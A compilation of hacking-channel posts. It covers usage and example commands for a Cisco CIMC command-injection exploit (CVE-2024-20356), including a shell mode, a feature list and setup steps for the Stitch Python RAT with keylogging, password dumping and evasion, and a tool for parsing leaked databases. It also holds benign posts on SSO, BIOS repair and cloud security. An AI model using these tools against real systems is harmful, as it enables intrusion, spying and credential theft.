🦑Command Injection vulnerability in Cisco's CIMC:

>> Use it for testing purposes only !!!

CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v]
options:
  -h, --help            Show this help message and exit
  -t HOST, --host HOST  Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -u USERNAME, --username USERNAME
                        Username (default: admin)
  -p PASSWORD, --password PASSWORD
                        Password (default: cisco)
  -a ACTION, --action ACTION
                        Action: test, cmd, shell, dance (default: test)
  -c CMD, --cmd CMD     OS command to run (Default: NONE)
  -v, --verbose         Displays more information about cimc

Example commands:

CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -v

CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -c 'id'

CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -a shell

CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -a dance

@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Safe CC Checkers :

Credit card checker (CC checker) sites are generally unsafe and pose serious risks, as they are commonly used for fraudulent purposes or involve illegal activities. Legitimate businesses and individuals should avoid such platforms to protect themselves legally and financially. Here's why these sites are risky:

Illegal Usage: Most CC checkers facilitate fraud by validating stolen credit card information.
Data Theft: Entering sensitive details on these platforms can lead to your personal data being stolen.
Malware Risks: Many such sites embed malware or phishing attempts.
Legal Issues: Accessing or using these sites can expose you to legal action.

S O :

To Check you CC Validity use only These URLS !!!


1️⃣Stripe
https://stripe.com
A powerful payment processing platform with fraud prevention features.

2️⃣PayPal
https://www.paypal.com
A widely used and secure platform for online transactions.

3️⃣Square
https://squareup.com
Offers payment solutions and tools for small businesses.

4️⃣Kount
https://kount.com
Fraud prevention and digital identity trust solutions.

5️⃣Fraud.net
https://fraud.net
Provides AI-powered fraud detection for businesses.

6️⃣Riskified
https://www.riskified.com
Fraud prevention and chargeback protection for eCommerce.

@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑SSO (Single Sign-On) Explained.

SSO can be thought of as a master key to open all different locks. It allows a user to log in to different systems using a single set of credentials.

In a time where we are accessing more applications than ever before, this is a big help to mitigate password fatigue and streamlines user experience.

To fully understand the SSO process, 𝗹𝗲𝘁’𝘀 𝘁𝗮𝗸𝗲 𝗮 𝗹𝗼𝗼𝗸 𝗮𝘁 𝗵𝗼𝘄 𝗮 𝘂𝘀𝗲𝗿 𝘄𝗼𝘂𝗹𝗱 𝗹𝗼𝗴 𝗶𝗻𝘁𝗼 𝗟𝗶𝗻𝗸𝗲𝗱𝗜𝗻 𝘂𝘀𝗶𝗻𝗴 𝗚𝗼𝗼𝗴𝗹𝗲 𝗮𝘀 𝘁𝗵𝗲 𝗶𝗱𝗲𝗻𝘁𝗶𝘁𝘆 𝗽𝗿𝗼𝘃𝗶𝗱𝗲𝗿:

1️⃣ 𝗨𝘀𝗲𝗿 𝗿𝗲𝗾𝘂𝗲𝘀𝘁𝘀 𝗮𝗰𝗰𝗲𝘀𝘀

First, the user would attempt to access the Service Provider (LinkedIn). At this point, a user would be presented with login options, and in this example, they would select "Sign in with Google".

2️⃣ 𝗔𝘂𝘁𝗵𝗲𝗻𝘁𝗶𝗰𝗮𝘁𝗶𝗼𝗻 𝗿𝗲𝗾𝘂𝗲𝘀𝘁

From here, the Service Provider (LinkedIn) will redirect the user to the Identity Provider (Google) with an authentication request.

3️⃣ 𝗜𝗱𝗣 𝗰𝗵𝗲𝗰𝗸𝘀 𝗳𝗼𝗿 𝗮𝗰𝘁𝗶𝘃𝗲 𝘀𝗲𝘀𝘀𝗶𝗼𝗻

Once the Identity Provider (Google) has received the request, it will check for an active session. If it doesn't find one, authentication will be requested.

4️⃣𝗨𝘀𝗲𝗿 𝘀𝘂𝗯𝗺𝗶𝘁𝘀 𝗰𝗿𝗲𝗱𝗲𝗻𝘁𝗶𝗮𝗹𝘀

At this stage, the user will submit their login credentials (username and password) to the Identity Provider (IdP).

5️⃣ 𝗜𝗱𝗣 𝘃𝗲𝗿𝗶𝗳𝗶𝗲𝘀 𝗰𝗿𝗲𝗱𝗲𝗻𝘁𝗶𝗮𝗹𝘀

The Identity Provider will then verify the submitted credentials against its User Directory (database). If the credentials are correct, the IdP will create an authentication token or assertion.

6️⃣ 𝗜𝗱𝗣 𝘀𝗲𝗻𝗱𝘀 𝘁𝗼𝗸𝗲𝗻 𝘁𝗼 𝗦𝗲𝗿𝘃𝗶𝗰𝗲 𝗣𝗿𝗼𝘃𝗶𝗱𝗲𝗿

Once the token or assertion has been created, the IdP sends it back to the Service Provider confirming the user's identity. The user is now authenticated and can access the Service Provier (LinkedIn).

7️⃣ 𝗔𝗰𝗰𝗲𝘀𝘀 𝗴𝗿𝗮𝗻𝘁𝗲𝗱 𝘂𝘀𝗶𝗻𝗴 𝗲𝘅𝗶𝘀𝘁𝗶𝗻𝗴 𝘀𝗲𝘀𝘀𝗶𝗼𝗻

Since the Identity Provider has established a session, when the user goes to access a different Service Provider (eg; GitHub), they won't need to re-enter their credentials. Future service providers will request authentication from the Identity Provider, recognize the existing session, and grant access to the user based on the previously authenticated session.

SSO workflows like the above operate on SSO protocols, which are a set of rules that govern how the IdP and SP communicate and trust each other. Common protocols include Security Assertion Markup Language (SAML), OpenID Connect, and OAuth.

ref: Sayed Jillani
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Scammers Actually Conduct Phishing Calls

- Secure yourself

ref: instagram
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Python Remote Administration Tool (RAT)

☠️This feature list outlines a Python-based Remote Administration Tool (RAT) with extensive functionality across Windows, macOS, and Linux. Here's a detailed breakdown of the core features and their implications:

>> Cross-Platform Support
- Core Utilities
- Command and file auto-completion: Enhances usability, streamlining interactions.
- Antivirus detection: Useful for evasion tactics or reconnaissance.
- Display monitor control: Provides surveillance or energy management options.
- File/Directory manipulation: Hiding or unhiding files adds stealth capabilities.
- Hosts file modification: Potential for blocking or redirecting network traffic.
- Environment variables access: Useful for reconnaissance and configuration.
- Keylogger: Logs keystrokes with options to manage logs.
- Target machine info: Location and system details provide situational awareness.
- Python script execution: Flexibility for custom tasks.
- Screenshots: Remote visual access to the system's desktop.
- VM detection: Helps evade analysis environments.
- File transfer: Enables exfiltration or delivery of additional payloads.
- Password hash dumping: Attempts to extract sensitive authentication details.
- Payload disguise: Adds stealth by masquerading as legitimate applications.

>> Windows-Specific Features
- Credential Harvesting
- User/password dialog: Captures user input for credentials.
- Chrome password dumping: Extracts stored browser passwords.
- System Control
- Log clearing: Obscures tracks by erasing event logs.
- Service control: Manipulates RDP, UAC, and Windows Defender.
- File timestamp editing: Alters evidence of file access or modification.
- Custom popups: Creates distractions or elicits user input.
- Hardware Interaction
- Webcam snapshots: Spies on users via their webcam.
- Drive info: Provides details about connected drives.
- Registry summary: Fetches system configuration details.

>> macOS-Specific Features
- Credential Harvesting
- Similar password dialog as Windows.
- System Customization
- Changes login text, potentially confusing or misleading users.
- Webcam snapshots: Monitors users like the Windows version.

>> macOS/Linux Features
- SSH pivoting: Leverages the target system to access other hosts.
- Sudo command execution: Elevates privilege level for administrative tasks.
- Bruteforce user password: Exploits weak password practices.
- Webcam snapshots: Unverified functionality on Linux.

>> Transport and Encryption
- AES encryption secures host-target communication, with keys shared manually between systems for authentication.

>> Payload Installation
- NSIS installers (Windows): Packages payloads with elevation utilities.
- Makeself installers (macOS/Linux): Simplifies deployment and persistence.

>> Setup and Dependencies
- The project uses Python 2.7, various libraries like PyCrypto, Requests, and platform-specific tools like PyInstaller, PyObjC, and py2exe.


🦑 Here are the commands for setting up and running Stitch from the specified GitHub repository:

>> Installation Commands
1. For Windows:

   pip install -r win_requirements.txt
   

2. For macOS:

   pip install -r osx_requirements.txt
   

3. For Linux:

   pip install -r lnx_requirements.txt
   

>> Execution Commands
1. Run using Python:

   python main.py
   

2. Run as an executable (if permissions are set):

   ./main.py
   

🦑Be Ethical, Use it for learning purposes !!!
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑UEFI BIOS Hacking Notes:

I started my Desktop System after a couple of weeks, and found that the ASUS Z170-AR 1.03 motherboard was failing to POST successfully with the following error message:

1️⃣USB Device Over Current Status Detected !!
System Will Shut Down After 15 Seconds.
(November-2020): After downloading the BoardView file for a similar motherboard, I learned about the various OC (over current) detection sub-circuits present on the motherboard. I systematically checked the reference voltages present at all (4) of those voltage dividers and found them to be 3.26+ volts. Note: These voltage dividers ("sensors") are directly connected to the Mobo's PCH.

I also carried out the following debugging steps:

All of the USB ports were providing +5v and were able to detect the keyboard during BIOS POST (Caps Lock responded). They all seemed to be OK.

The single USB-C port on this mobo was also providing power to charge things just fine.

I connected the USB keyboard to the PS2 port but the BIOS was disabling all inputs when this 'USB OC' problem is detected.

All of the USB devices were subsequently disconnected for safety.

The cables for the front-panel USB connectors were disconnected as well.

However, the BIOS error about 'USB OC' persisted. I then dumped the BIOS from the W25Q128FV BIOS chip (thankfully present in DIP-8 form factor) using flashrom on Linux with CH341A Mini USB BIOS Programmer hardware.

3️⃣This dumping process took around 2.5 minutes. The dump matched the "BIOS ROM file" which I extracted from the Z170-AR-ASUS-3801.CAP (downloaded from ASUS' website) using UEFITool.

Note: This board uses the ASM1142 USB 3.0 chip which has its own over current (OC) detection. I couldn't find the BoardView for my Z170-AR 1.03 motherboard and hence I had to pause the hardware debugging process at this point.

Next, switching to the SW sides of things, I was able to patch the ASUS BIOS using UEFITool, GHIDRA, Cutter (Rizin GUI), and WinHex to bypass this USB OC error message (and the subsequent PC hang)!

binwalk -eM bios.rom # bios.rom is extracted from UEFItool.

[user@random _flash-me.rom.extracted]$ find . -type f -exec strings {} \; | grep "USB Device"
USB Device Over Current Status Detected !!

4️⃣I wrote the modded BIOS back using the following command,

$ sudo ./flashrom --programmer ch341a_spi -v 1402_modded_working.rom
flashrom v1.2-169-g10d71d9 on Linux 5.8.0-33-lowlatency (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25Q128.V" (16384 kB, SPI) on ch341a_spi.
Verifying flash... VERIFIED.
...
After patching the BIOS, I was able to boot into the system! After logging in, I was able to confirm that ASM1142 chip is generating those OC (Over Current) signals.

$ sudo dmesg | grep over-cu
[ 1.082715] usb usb4-port2: over-current condition
[ 1.086705] usb usb3-port2: over-current condition
$ lspci
...
00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31)
02:00.0 USB controller: ASMedia Technology Inc. ASM1142 USB 3.1 Host Controller
03:00.0 PCI bridge: ASMedia Technology Inc. ASM1083/1085 PCIe to PCI Bridge (rev 04)
This controller can be disabled with the following command.

$ echo -n "0000:02:00.0" | sudo tee /sys/bus/pci/drivers/xhci_hcd/unbind
Here is a Linux hack to ignore the misbehaving ASM1142 USB 3.0 controller on bootup.

$ cat /etc/rc.local
#!/bin/bash

# "Fix" "2:00.0 USB controller: ASMedia Technology Inc. ASM1142 USB 3.1 Host Controller"
echo -n "0000:02:00.0" | sudo tee -a /sys/bus/pci/drivers/xhci_hcd/unbind

exit 0
This made the system pretty usable again. Victory!?

🦑Be Ethical, Use it for learning purposes !!!

Ref: Hacking Notes
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑LeakedDBParser :

A tool to parse leaked databases in CSV-like or SQL format.

>> LeakedDBParser

git clone https://github.com/hegusung/LeakedDBParser.git
./leakeddbparser.py <hashfile> [-o <output_file>] [-n max_lines] {csv|sql} [csv or sql options]

>> CSV Format Options

1️⃣. -c: Select columns and apply checks.
- Syntax: -c <column_number>,<condition>
- Example:

     -c 1,2=40,?3
     

- Includes columns 1 and 2 in the output if:
- Column 2 has a length of 40.
- Column 3 exists.

2️⃣. --no-header: Ignore the first line of the CSV file.

>> SQL Format Options

3️⃣. --list-tables: List the tables and their columns in the SQL dump.
- Example:

     ./leakeddbparser.py sqldump.sql sql --list-tables
     

4️⃣. --dump <table_name>: Export a specific table.
- Can use -c to select specific columns.

5️⃣. Column Selection (-c):
- Syntax: -c <column_numbers>
- Example:

     ./leakeddbparser.py sqldump.sql -o export_user_hash.txt sql --dump users -c 3,5
     

- Exports columns 3 and 5 from the users table to the file export_user_hash.txt.

@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑10 Cybersecurity Marketing Strategies To Grow Your Business:

1. Create A Product-Led SEO & Content Marketing Strategy

2. Get Targeted Media Coverage With Strategic PR

3. Build Authority With Anonymous Case Studies

4. Invest In PPC Campaigns For Faster Growth

5. Build Your Tribe With Email Marketing

6. Secure Your Cybersecurity Firm’s Online Reputation

7. Generate Social Proof On Review Aggregator Sites

8. Grow Your Social Media Influence

9. Drive Traffic From Reddit & Quora

10. Start A Podcast To Offer In-depth Advice

Ref: Chris Greer
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑"If you place a simple app into public cloud, what would you need to do to make sure everything is secured?"

I am getting a lot of different answers. Some recall authentication and authorization.

Some are talking about Web Firewall.

Some give me much more detail on network segmentation.

All this is great, but I missed somehow a holistic picture of this security aspects in Solution Design.

As you know, a picture worth a thousand words, so I put all things together into one generic picture.

There are a lot more nuances, for sure, but I think this diagram could be a good starting point in understanding a security.

Ref: Dmitrijs Lebedevs
@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁